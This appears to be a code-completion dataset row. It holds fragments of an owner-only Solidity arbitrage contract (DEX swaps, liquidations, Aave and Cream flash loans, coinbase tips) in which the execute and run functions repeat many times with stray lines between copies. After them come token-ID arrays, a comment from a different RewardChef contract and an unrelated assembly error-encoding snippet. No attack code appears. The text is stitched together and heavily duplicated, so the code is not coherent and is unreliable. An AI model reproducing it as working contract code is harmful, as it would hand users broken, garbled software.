if (_command.cmd == Cmd.swap) {
if (_command.dex == Dex.uniswap) {
amount = swapTokens(UNISWAP_ROUTER,
_command.token1,
_command.token2,
amt,
_command.amount2,
block.timestamp + 15);
require(amount[1] > 0,"ERROR IN UNISWAP");
return amount[1];
}
if (_command.dex == Dex.uniswap_v3) {
amt = swapTokens_v3(UNISWAP_V3_ROUTER,
_command.token1,
_command.token2,
_command.num,
amt,
_command.amount2,
block.timestamp + 15);
require(amt > 0,"ERROR IN UNISWAP");
return amt;
}
if (_command.dex == Dex.sushi) {
amount = swapTokens(SUSHI_ROUTER,
_command.token1,
_command.token2,
amt,
_command.amount2,
block.timestamp + 15);
require(amount[1] > 0,"ERROR IN SUSHI");
return amount[1];
}
revert("SWAP_NOT_IMPLEMENTED");
}
if (_command.cmd == Cmd.liquidate) {
Dex_Addresses memory _dex = getDex(uint8(_command.num));
return liquidate(_command.addr,
_command.token1,
_command.token2,
_command.amount1,
_dex
);
}
if (_command.cmd == Cmd.transfer) {
IERC20 token = IERC20(_command.token1);
require(token.balanceOf(address(this))>_command.amount1,"INSUFFICIENT_BALANCE");
require(token.transfer(_command.addr,_command.amount1),"TRANSFER FAILED");
}
if (_command.cmd == Cmd.paytip) {
uint256 _ethBalance = address(this).balance;
require(_ethBalance >= _command.amount1,"INSUFFICIENT_BALANCE");
block.coinbase.transfer(_command.amount1);
}
if (_command.cmd == Cmd.weth2eth) {
Weth2Eth(amt);
return amt;
}
if (_command.cmd == Cmd.eth2weth) {
Eth2Weth(amt);
return amt;
}
}
if (_command.amount1 > 0) { amt = _command.amount1;}
function execute(uint _amount, Command memory _command ) internal returns(uint) {
uint[] memory amount;
uint amt = _amount;
if (_command.cmd == Cmd.swap) {
if (_command.dex == Dex.uniswap) {
amount = swapTokens(UNISWAP_ROUTER,
_command.token1,
_command.token2,
amt,
_command.amount2,
block.timestamp + 15);
require(amount[1] > 0,"ERROR IN UNISWAP");
return amount[1];
}
if (_command.dex == Dex.uniswap_v3) {
amt = swapTokens_v3(UNISWAP_V3_ROUTER,
_command.token1,
_command.token2,
_command.num,
amt,
_command.amount2,
block.timestamp + 15);
require(amt > 0,"ERROR IN UNISWAP");
return amt;
}
if (_command.dex == Dex.sushi) {
amount = swapTokens(SUSHI_ROUTER,
_command.token1,
_command.token2,
amt,
_command.amount2,
block.timestamp + 15);
require(amount[1] > 0,"ERROR IN SUSHI");
return amount[1];
}
revert("SWAP_NOT_IMPLEMENTED");
}
if (_command.cmd == Cmd.liquidate) {
Dex_Addresses memory _dex = getDex(uint8(_command.num));
return liquidate(_command.addr,
_command.token1,
_command.token2,
_command.amount1,
_dex
);
}
if (_command.cmd == Cmd.transfer) {
IERC20 token = IERC20(_command.token1);
require(token.balanceOf(address(this))>_command.amount1,"INSUFFICIENT_BALANCE");
require(token.transfer(_command.addr,_command.amount1),"TRANSFER FAILED");
}
if (_command.cmd == Cmd.paytip) {
uint256 _ethBalance = address(this).balance;
require(_ethBalance >= _command.amount1,"INSUFFICIENT_BALANCE");
block.coinbase.transfer(_command.amount1);
}
if (_command.cmd == Cmd.weth2eth) {
Weth2Eth(amt);
return amt;
}
if (_command.cmd == Cmd.eth2weth) {
Eth2Weth(amt);
return amt;
}
}
function execute(uint _amount, Command memory _command ) internal returns(uint) {
uint[] memory amount;
uint amt = _amount;
if (_command.cmd == Cmd.swap) {
if (_command.dex == Dex.uniswap) {
amount = swapTokens(UNISWAP_ROUTER,
_command.token1,
_command.token2,
amt,
_command.amount2,
block.timestamp + 15);
require(amount[1] > 0,"ERROR IN UNISWAP");
return amount[1];
}
if (_command.dex == Dex.uniswap_v3) {
amt = swapTokens_v3(UNISWAP_V3_ROUTER,
_command.token1,
_command.token2,
_command.num,
amt,
_command.amount2,
block.timestamp + 15);
require(amt > 0,"ERROR IN UNISWAP");
return amt;
}
if (_command.dex == Dex.sushi) {
amount = swapTokens(SUSHI_ROUTER,
_command.token1,
_command.token2,
amt,
_command.amount2,
block.timestamp + 15);
require(amount[1] > 0,"ERROR IN SUSHI");
return amount[1];
}
revert("SWAP_NOT_IMPLEMENTED");
}
if (_command.cmd == Cmd.liquidate) {
Dex_Addresses memory _dex = getDex(uint8(_command.num));
return liquidate(_command.addr,
_command.token1,
_command.token2,
_command.amount1,
_dex
);
}
if (_command.cmd == Cmd.transfer) {
IERC20 token = IERC20(_command.token1);
require(token.balanceOf(address(this))>_command.amount1,"INSUFFICIENT_BALANCE");
require(token.transfer(_command.addr,_command.amount1),"TRANSFER FAILED");
}
if (_command.cmd == Cmd.paytip) {
uint256 _ethBalance = address(this).balance;
require(_ethBalance >= _command.amount1,"INSUFFICIENT_BALANCE");
block.coinbase.transfer(_command.amount1);
}
if (_command.cmd == Cmd.weth2eth) {
Weth2Eth(amt);
return amt;
}
if (_command.cmd == Cmd.eth2weth) {
Eth2Weth(amt);
return amt;
}
}
function execute(uint _amount, Command memory _command ) internal returns(uint) {
uint[] memory amount;
uint amt = _amount;
if (_command.cmd == Cmd.swap) {
if (_command.dex == Dex.uniswap) {
amount = swapTokens(UNISWAP_ROUTER,
_command.token1,
_command.token2,
amt,
_command.amount2,
block.timestamp + 15);
require(amount[1] > 0,"ERROR IN UNISWAP");
return amount[1];
}
if (_command.dex == Dex.uniswap_v3) {
amt = swapTokens_v3(UNISWAP_V3_ROUTER,
_command.token1,
_command.token2,
_command.num,
amt,
_command.amount2,
block.timestamp + 15);
require(amt > 0,"ERROR IN UNISWAP");
return amt;
}
if (_command.dex == Dex.sushi) {
amount = swapTokens(SUSHI_ROUTER,
_command.token1,
_command.token2,
amt,
_command.amount2,
block.timestamp + 15);
require(amount[1] > 0,"ERROR IN SUSHI");
return amount[1];
}
revert("SWAP_NOT_IMPLEMENTED");
}
if (_command.cmd == Cmd.liquidate) {
Dex_Addresses memory _dex = getDex(uint8(_command.num));
return liquidate(_command.addr,
_command.token1,
_command.token2,
_command.amount1,
_dex
);
}
if (_command.cmd == Cmd.transfer) {
IERC20 token = IERC20(_command.token1);
require(token.balanceOf(address(this))>_command.amount1,"INSUFFICIENT_BALANCE");
require(token.transfer(_command.addr,_command.amount1),"TRANSFER FAILED");
}
if (_command.cmd == Cmd.paytip) {
uint256 _ethBalance = address(this).balance;
require(_ethBalance >= _command.amount1,"INSUFFICIENT_BALANCE");
block.coinbase.transfer(_command.amount1);
}
if (_command.cmd == Cmd.weth2eth) {
Weth2Eth(amt);
return amt;
}
if (_command.cmd == Cmd.eth2weth) {
Eth2Weth(amt);
return amt;
}
}
function execute(uint _amount, Command memory _command ) internal returns(uint) {
uint[] memory amount;
uint amt = _amount;
if (_command.cmd == Cmd.swap) {
if (_command.dex == Dex.uniswap) {
amount = swapTokens(UNISWAP_ROUTER,
_command.token1,
_command.token2,
amt,
_command.amount2,
block.timestamp + 15);
require(amount[1] > 0,"ERROR IN UNISWAP");
return amount[1];
}
if (_command.dex == Dex.uniswap_v3) {
amt = swapTokens_v3(UNISWAP_V3_ROUTER,
_command.token1,
_command.token2,
_command.num,
amt,
_command.amount2,
block.timestamp + 15);
require(amt > 0,"ERROR IN UNISWAP");
return amt;
}
if (_command.dex == Dex.sushi) {
amount = swapTokens(SUSHI_ROUTER,
_command.token1,
_command.token2,
amt,
_command.amount2,
block.timestamp + 15);
require(amount[1] > 0,"ERROR IN SUSHI");
return amount[1];
}
revert("SWAP_NOT_IMPLEMENTED");
}
if (_command.cmd == Cmd.liquidate) {
Dex_Addresses memory _dex = getDex(uint8(_command.num));
return liquidate(_command.addr,
_command.token1,
_command.token2,
_command.amount1,
_dex
);
}
if (_command.cmd == Cmd.transfer) {
IERC20 token = IERC20(_command.token1);
require(token.balanceOf(address(this))>_command.amount1,"INSUFFICIENT_BALANCE");
require(token.transfer(_command.addr,_command.amount1),"TRANSFER FAILED");
}
if (_command.cmd == Cmd.paytip) {
uint256 _ethBalance = address(this).balance;
require(_ethBalance >= _command.amount1,"INSUFFICIENT_BALANCE");
block.coinbase.transfer(_command.amount1);
}
if (_command.cmd == Cmd.weth2eth) {
Weth2Eth(amt);
return amt;
}
if (_command.cmd == Cmd.eth2weth) {
Eth2Weth(amt);
return amt;
}
}
function execute(uint _amount, Command memory _command ) internal returns(uint) {
uint[] memory amount;
uint amt = _amount;
if (_command.cmd == Cmd.swap) {
if (_command.dex == Dex.uniswap) {
amount = swapTokens(UNISWAP_ROUTER,
_command.token1,
_command.token2,
amt,
_command.amount2,
block.timestamp + 15);
require(amount[1] > 0,"ERROR IN UNISWAP");
return amount[1];
}
if (_command.dex == Dex.uniswap_v3) {
amt = swapTokens_v3(UNISWAP_V3_ROUTER,
_command.token1,
_command.token2,
_command.num,
amt,
_command.amount2,
block.timestamp + 15);
require(amt > 0,"ERROR IN UNISWAP");
return amt;
}
if (_command.dex == Dex.sushi) {
amount = swapTokens(SUSHI_ROUTER,
_command.token1,
_command.token2,
amt,
_command.amount2,
block.timestamp + 15);
require(amount[1] > 0,"ERROR IN SUSHI");
return amount[1];
}
revert("SWAP_NOT_IMPLEMENTED");
}
if (_command.cmd == Cmd.liquidate) {
Dex_Addresses memory _dex = getDex(uint8(_command.num));
return liquidate(_command.addr,
_command.token1,
_command.token2,
_command.amount1,
_dex
);
}
if (_command.cmd == Cmd.transfer) {
IERC20 token = IERC20(_command.token1);
require(token.balanceOf(address(this))>_command.amount1,"INSUFFICIENT_BALANCE");
require(token.transfer(_command.addr,_command.amount1),"TRANSFER FAILED");
}
if (_command.cmd == Cmd.paytip) {
uint256 _ethBalance = address(this).balance;
require(_ethBalance >= _command.amount1,"INSUFFICIENT_BALANCE");
block.coinbase.transfer(_command.amount1);
}
if (_command.cmd == Cmd.weth2eth) {
Weth2Eth(amt);
return amt;
}
if (_command.cmd == Cmd.eth2weth) {
Eth2Weth(amt);
return amt;
}
}
function execute(uint _amount, Command memory _command ) internal returns(uint) {
uint[] memory amount;
uint amt = _amount;
if (_command.cmd == Cmd.swap) {
if (_command.dex == Dex.uniswap) {
amount = swapTokens(UNISWAP_ROUTER,
_command.token1,
_command.token2,
amt,
_command.amount2,
block.timestamp + 15);
require(amount[1] > 0,"ERROR IN UNISWAP");
return amount[1];
}
if (_command.dex == Dex.uniswap_v3) {
amt = swapTokens_v3(UNISWAP_V3_ROUTER,
_command.token1,
_command.token2,
_command.num,
amt,
_command.amount2,
block.timestamp + 15);
require(amt > 0,"ERROR IN UNISWAP");
return amt;
}
if (_command.dex == Dex.sushi) {
amount = swapTokens(SUSHI_ROUTER,
_command.token1,
_command.token2,
amt,
_command.amount2,
block.timestamp + 15);
require(amount[1] > 0,"ERROR IN SUSHI");
return amount[1];
}
revert("SWAP_NOT_IMPLEMENTED");
}
if (_command.cmd == Cmd.liquidate) {
Dex_Addresses memory _dex = getDex(uint8(_command.num));
return liquidate(_command.addr,
_command.token1,
_command.token2,
_command.amount1,
_dex
);
}
if (_command.cmd == Cmd.transfer) {
IERC20 token = IERC20(_command.token1);
require(token.balanceOf(address(this))>_command.amount1,"INSUFFICIENT_BALANCE");
require(token.transfer(_command.addr,_command.amount1),"TRANSFER FAILED");
}
if (_command.cmd == Cmd.paytip) {
uint256 _ethBalance = address(this).balance;
require(_ethBalance >= _command.amount1,"INSUFFICIENT_BALANCE");
block.coinbase.transfer(_command.amount1);
}
if (_command.cmd == Cmd.weth2eth) {
Weth2Eth(amt);
return amt;
}
if (_command.cmd == Cmd.eth2weth) {
Eth2Weth(amt);
return amt;
}
}
function execute(uint _amount, Command memory _command ) internal returns(uint) {
uint[] memory amount;
uint amt = _amount;
if (_command.cmd == Cmd.swap) {
if (_command.dex == Dex.uniswap) {
amount = swapTokens(UNISWAP_ROUTER,
_command.token1,
_command.token2,
amt,
_command.amount2,
block.timestamp + 15);
require(amount[1] > 0,"ERROR IN UNISWAP");
return amount[1];
}
if (_command.dex == Dex.uniswap_v3) {
amt = swapTokens_v3(UNISWAP_V3_ROUTER,
_command.token1,
_command.token2,
_command.num,
amt,
_command.amount2,
block.timestamp + 15);
require(amt > 0,"ERROR IN UNISWAP");
return amt;
}
if (_command.dex == Dex.sushi) {
amount = swapTokens(SUSHI_ROUTER,
_command.token1,
_command.token2,
amt,
_command.amount2,
block.timestamp + 15);
require(amount[1] > 0,"ERROR IN SUSHI");
return amount[1];
}
revert("SWAP_NOT_IMPLEMENTED");
}
if (_command.cmd == Cmd.liquidate) {
Dex_Addresses memory _dex = getDex(uint8(_command.num));
return liquidate(_command.addr,
_command.token1,
_command.token2,
_command.amount1,
_dex
);
}
if (_command.cmd == Cmd.transfer) {
IERC20 token = IERC20(_command.token1);
require(token.balanceOf(address(this))>_command.amount1,"INSUFFICIENT_BALANCE");
require(token.transfer(_command.addr,_command.amount1),"TRANSFER FAILED");
}
if (_command.cmd == Cmd.paytip) {
uint256 _ethBalance = address(this).balance;
require(_ethBalance >= _command.amount1,"INSUFFICIENT_BALANCE");
block.coinbase.transfer(_command.amount1);
}
if (_command.cmd == Cmd.weth2eth) {
Weth2Eth(amt);
return amt;
}
if (_command.cmd == Cmd.eth2weth) {
Eth2Weth(amt);
return amt;
}
}
if (_command.amount1 > 0) { amt = _command.amount1;}
function execute(uint _amount, Command memory _command ) internal returns(uint) {
uint[] memory amount;
uint amt = _amount;
if (_command.cmd == Cmd.swap) {
if (_command.dex == Dex.uniswap) {
amount = swapTokens(UNISWAP_ROUTER,
_command.token1,
_command.token2,
amt,
_command.amount2,
block.timestamp + 15);
require(amount[1] > 0,"ERROR IN UNISWAP");
return amount[1];
}
if (_command.dex == Dex.uniswap_v3) {
amt = swapTokens_v3(UNISWAP_V3_ROUTER,
_command.token1,
_command.token2,
_command.num,
amt,
_command.amount2,
block.timestamp + 15);
require(amt > 0,"ERROR IN UNISWAP");
return amt;
}
if (_command.dex == Dex.sushi) {
amount = swapTokens(SUSHI_ROUTER,
_command.token1,
_command.token2,
amt,
_command.amount2,
block.timestamp + 15);
require(amount[1] > 0,"ERROR IN SUSHI");
return amount[1];
}
revert("SWAP_NOT_IMPLEMENTED");
}
if (_command.cmd == Cmd.liquidate) {
Dex_Addresses memory _dex = getDex(uint8(_command.num));
return liquidate(_command.addr,
_command.token1,
_command.token2,
_command.amount1,
_dex
);
}
if (_command.cmd == Cmd.transfer) {
IERC20 token = IERC20(_command.token1);
require(token.balanceOf(address(this))>_command.amount1,"INSUFFICIENT_BALANCE");
require(token.transfer(_command.addr,_command.amount1),"TRANSFER FAILED");
}
if (_command.cmd == Cmd.paytip) {
uint256 _ethBalance = address(this).balance;
require(_ethBalance >= _command.amount1,"INSUFFICIENT_BALANCE");
block.coinbase.transfer(_command.amount1);
}
if (_command.cmd == Cmd.weth2eth) {
Weth2Eth(amt);
return amt;
}
if (_command.cmd == Cmd.eth2weth) {
Eth2Weth(amt);
return amt;
}
}
if (_command.amount1 > 0) { amt = _command.amount1;}
revert("NOT_IMPLEMENTED");
function run(Command[] memory _commands ) public onlyOwner {
bytes memory params;
address token;
uint amount;
Dex flDex;
for (uint i = 0; i < _commands.length; i++) {
if (_commands[i].fls == Flash.simple) {
amount = execute(amount,_commands[i]);
continue;
}
if (_commands[i].fls == Flash.start) {
token = address(_commands[i].token1);
amount = _commands[i].amount1;
flDex = _commands[i].dex;
continue;
}
if (_commands[i].fls == Flash.body) {
params = Utils.concat(params,toBytes(_commands[i]));
continue;
}
if (_commands[i].fls == Flash.end) {
params = Utils.concat(params,toBytes(_commands[i]));
if (flDex == Dex.aave) {
invokeAave(token, amount, params);
continue;
}
if (flDex == Dex.creame) {
doFlashloan(token, amount, params);
continue;
}
revert("NOT_IMPLEMENTED");
}
}
}
function run(Command[] memory _commands ) public onlyOwner {
bytes memory params;
address token;
uint amount;
Dex flDex;
for (uint i = 0; i < _commands.length; i++) {
if (_commands[i].fls == Flash.simple) {
amount = execute(amount,_commands[i]);
continue;
}
if (_commands[i].fls == Flash.start) {
token = address(_commands[i].token1);
amount = _commands[i].amount1;
flDex = _commands[i].dex;
continue;
}
if (_commands[i].fls == Flash.body) {
params = Utils.concat(params,toBytes(_commands[i]));
continue;
}
if (_commands[i].fls == Flash.end) {
params = Utils.concat(params,toBytes(_commands[i]));
if (flDex == Dex.aave) {
invokeAave(token, amount, params);
continue;
}
if (flDex == Dex.creame) {
doFlashloan(token, amount, params);
continue;
}
revert("NOT_IMPLEMENTED");
}
}
}
function run(Command[] memory _commands ) public onlyOwner {
bytes memory params;
address token;
uint amount;
Dex flDex;
for (uint i = 0; i < _commands.length; i++) {
if (_commands[i].fls == Flash.simple) {
amount = execute(amount,_commands[i]);
continue;
}
if (_commands[i].fls == Flash.start) {
token = address(_commands[i].token1);
amount = _commands[i].amount1;
flDex = _commands[i].dex;
continue;
}
if (_commands[i].fls == Flash.body) {
params = Utils.concat(params,toBytes(_commands[i]));
continue;
}
if (_commands[i].fls == Flash.end) {
params = Utils.concat(params,toBytes(_commands[i]));
if (flDex == Dex.aave) {
invokeAave(token, amount, params);
continue;
}
if (flDex == Dex.creame) {
doFlashloan(token, amount, params);
continue;
}
revert("NOT_IMPLEMENTED");
}
}
}
function run(Command[] memory _commands ) public onlyOwner {
bytes memory params;
address token;
uint amount;
Dex flDex;
for (uint i = 0; i < _commands.length; i++) {
if (_commands[i].fls == Flash.simple) {
amount = execute(amount,_commands[i]);
continue;
}
if (_commands[i].fls == Flash.start) {
token = address(_commands[i].token1);
amount = _commands[i].amount1;
flDex = _commands[i].dex;
continue;
}
if (_commands[i].fls == Flash.body) {
params = Utils.concat(params,toBytes(_commands[i]));
continue;
}
if (_commands[i].fls == Flash.end) {
params = Utils.concat(params,toBytes(_commands[i]));
if (flDex == Dex.aave) {
invokeAave(token, amount, params);
continue;
}
if (flDex == Dex.creame) {
doFlashloan(token, amount, params);
continue;
}
revert("NOT_IMPLEMENTED");
}
}
}
function run(Command[] memory _commands ) public onlyOwner {
bytes memory params;
address token;
uint amount;
Dex flDex;
for (uint i = 0; i < _commands.length; i++) {
if (_commands[i].fls == Flash.simple) {
amount = execute(amount,_commands[i]);
continue;
}
if (_commands[i].fls == Flash.start) {
token = address(_commands[i].token1);
amount = _commands[i].amount1;
flDex = _commands[i].dex;
continue;
}
if (_commands[i].fls == Flash.body) {
params = Utils.concat(params,toBytes(_commands[i]));
continue;
}
if (_commands[i].fls == Flash.end) {
params = Utils.concat(params,toBytes(_commands[i]));
if (flDex == Dex.aave) {
invokeAave(token, amount, params);
continue;
}
if (flDex == Dex.creame) {
doFlashloan(token, amount, params);
continue;
}
revert("NOT_IMPLEMENTED");
}
}
}
function run(Command[] memory _commands ) public onlyOwner {
bytes memory params;
address token;
uint amount;
Dex flDex;
for (uint i = 0; i < _commands.length; i++) {
if (_commands[i].fls == Flash.simple) {
amount = execute(amount,_commands[i]);
continue;
}
if (_commands[i].fls == Flash.start) {
token = address(_commands[i].token1);
amount = _commands[i].amount1;
flDex = _commands[i].dex;
continue;
}
if (_commands[i].fls == Flash.body) {
params = Utils.concat(params,toBytes(_commands[i]));
continue;
}
if (_commands[i].fls == Flash.end) {
params = Utils.concat(params,toBytes(_commands[i]));
if (flDex == Dex.aave) {
invokeAave(token, amount, params);
continue;
}
if (flDex == Dex.creame) {
doFlashloan(token, amount, params);
continue;
}
revert("NOT_IMPLEMENTED");
}
}
}
function run(Command[] memory _commands ) public onlyOwner {
bytes memory params;
address token;
uint amount;
Dex flDex;
for (uint i = 0; i < _commands.length; i++) {
if (_commands[i].fls == Flash.simple) {
amount = execute(amount,_commands[i]);
continue;
}
if (_commands[i].fls == Flash.start) {
token = address(_commands[i].token1);
amount = _commands[i].amount1;
flDex = _commands[i].dex;
continue;
}
if (_commands[i].fls == Flash.body) {
params = Utils.concat(params,toBytes(_commands[i]));
continue;
}
if (_commands[i].fls == Flash.end) {
params = Utils.concat(params,toBytes(_commands[i]));
if (flDex == Dex.aave) {
invokeAave(token, amount, params);
continue;
}
if (flDex == Dex.creame) {
doFlashloan(token, amount, params);
continue;
}
revert("NOT_IMPLEMENTED");
}
}
}
function run(Command[] memory _commands ) public onlyOwner {
bytes memory params;
address token;
uint amount;
Dex flDex;
for (uint i = 0; i < _commands.length; i++) {
if (_commands[i].fls == Flash.simple) {
amount = execute(amount,_commands[i]);
continue;
}
if (_commands[i].fls == Flash.start) {
token = address(_commands[i].token1);
amount = _commands[i].amount1;
flDex = _commands[i].dex;
continue;
}
if (_commands[i].fls == Flash.body) {
params = Utils.concat(params,toBytes(_commands[i]));
continue;
}
if (_commands[i].fls == Flash.end) {
params = Utils.concat(params,toBytes(_commands[i]));
if (flDex == Dex.aave) {
invokeAave(token, amount, params);
continue;
}
if (flDex == Dex.creame) {
doFlashloan(token, amount, params);
continue;
}
revert("NOT_IMPLEMENTED");
}
}
}
function toBytes(Command memory _command) internal pure returns (bytes memory) {
return abi.encode(
_command.fls,
_command.cmd,
_command.dex,
_command.token1,
_command.amount1,
_command.token2,
_command.amount2,
_command.num,
_command.addr);
}
}
| 16,562,121 | [
1,
1937,
300,
1296,
15387,
9563,
28183,
16,
1417,
300,
13160,
4058,
225,
9563,
28183,
1296,
300,
405,
364,
20829,
679,
300,
727,
9563,
28183,
1296,
317,
358,
5055,
1347,
358,
679,
598,
13160,
4058,
471,
745,
9563,
383,
304,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
225,
3889,
225,
288,
203,
203,
565,
1758,
5381,
512,
2455,
273,
374,
17432,
1340,
1340,
41,
1340,
73,
41,
73,
41,
1340,
41,
73,
41,
73,
41,
1340,
9383,
41,
1340,
1340,
41,
1340,
1340,
1340,
73,
9383,
73,
41,
31,
203,
565,
1758,
8843,
429,
2713,
225,
678,
1584,
44,
67,
14142,
31,
203,
203,
565,
467,
48,
2846,
2864,
7148,
2249,
279,
836,
67,
80,
8774,
67,
6778,
31,
203,
203,
203,
203,
5666,
288,
6091,
289,
225,
628,
25165,
1989,
18,
18281,
14432,
203,
565,
2792,
13328,
288,
20802,
304,
16,
7720,
16,
4501,
26595,
340,
16,
7412,
16,
341,
546,
22,
546,
16,
13750,
22,
91,
546,
16,
8843,
14587,
97,
203,
565,
2792,
463,
338,
288,
640,
291,
91,
438,
16,
87,
1218,
77,
16,
279,
836,
16,
7732,
13437,
16,
11360,
16,
1519,
339,
16,
640,
291,
91,
438,
67,
90,
23,
289,
203,
565,
1958,
3498,
288,
203,
3639,
15014,
1183,
87,
31,
203,
3639,
13328,
1797,
31,
203,
3639,
463,
338,
302,
338,
31,
203,
3639,
1758,
225,
1147,
21,
31,
203,
3639,
2254,
5034,
3844,
21,
31,
203,
3639,
1758,
1147,
22,
31,
203,
3639,
2254,
5034,
3844,
22,
31,
203,
3639,
2254,
3247,
818,
31,
203,
3639,
1758,
3091,
31,
203,
565,
289,
203,
203,
565,
1958,
463,
338,
67,
7148,
288,
203,
3639,
1758,
276,
546,
1887,
31,
203,
3639,
467,
799,
337,
1539,
532,
337,
1539,
31,
203,
565,
289,
203,
203,
565,
2874,
12,
11890,
28,
516,
463,
338,
2
] |
./partial_match/1/0x37A2C1F02bf5147043381c8c745cd5A120424BA1/sources/RewardChef.sol | Accumulated CHIFIs per share, times 1e12. See below.
| uint256 accPerShare; | 2,815,268 | [
1,
8973,
5283,
690,
6469,
5794,
87,
1534,
7433,
16,
4124,
404,
73,
2138,
18,
2164,
5712,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
2254,
5034,
4078,
2173,
9535,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x0Cd8De7c258cc8c840A8c5Fd46470bD290a87ff6/sources/src/utils/Errors.sol | ASCII 48 = 0 From right to left 256 - 8 * 12 4 spaces "Unitas: " bytes4(keccak256("Error(string)")) Offset Character length Message 4 + 32 + 32 + 32 | assembly {
let one := add(mod(errorCode, 10), 48)
let two := add(mod(div(errorCode, 10), 10), 48)
let three := add(mod(div(errorCode, 100), 10), 48)
let four := add(mod(div(errorCode, 1000), 10), 48)
let err := shl(
160,
add(
shl(
32,
0x556e697461733a20
),
add(add(add(
one,
shl(8, two)),
shl(16, three)),
shl(24, four)
)
)
)
mstore(0x0, 0x08c379a000000000000000000000000000000000000000000000000000000000)
mstore(0x04, 0x0000000000000000000000000000000000000000000000000000000000000020)
mstore(0x24, 12)
mstore(0x44, err)
revert(0, 100)
}
| 3,623,355 | [
1,
13756,
9934,
273,
374,
6338,
2145,
358,
2002,
8303,
300,
1725,
225,
2593,
1059,
7292,
315,
2802,
345,
30,
315,
1731,
24,
12,
79,
24410,
581,
5034,
2932,
668,
12,
1080,
2225,
3719,
9874,
6577,
769,
2350,
1059,
397,
3847,
397,
3847,
397,
3847,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
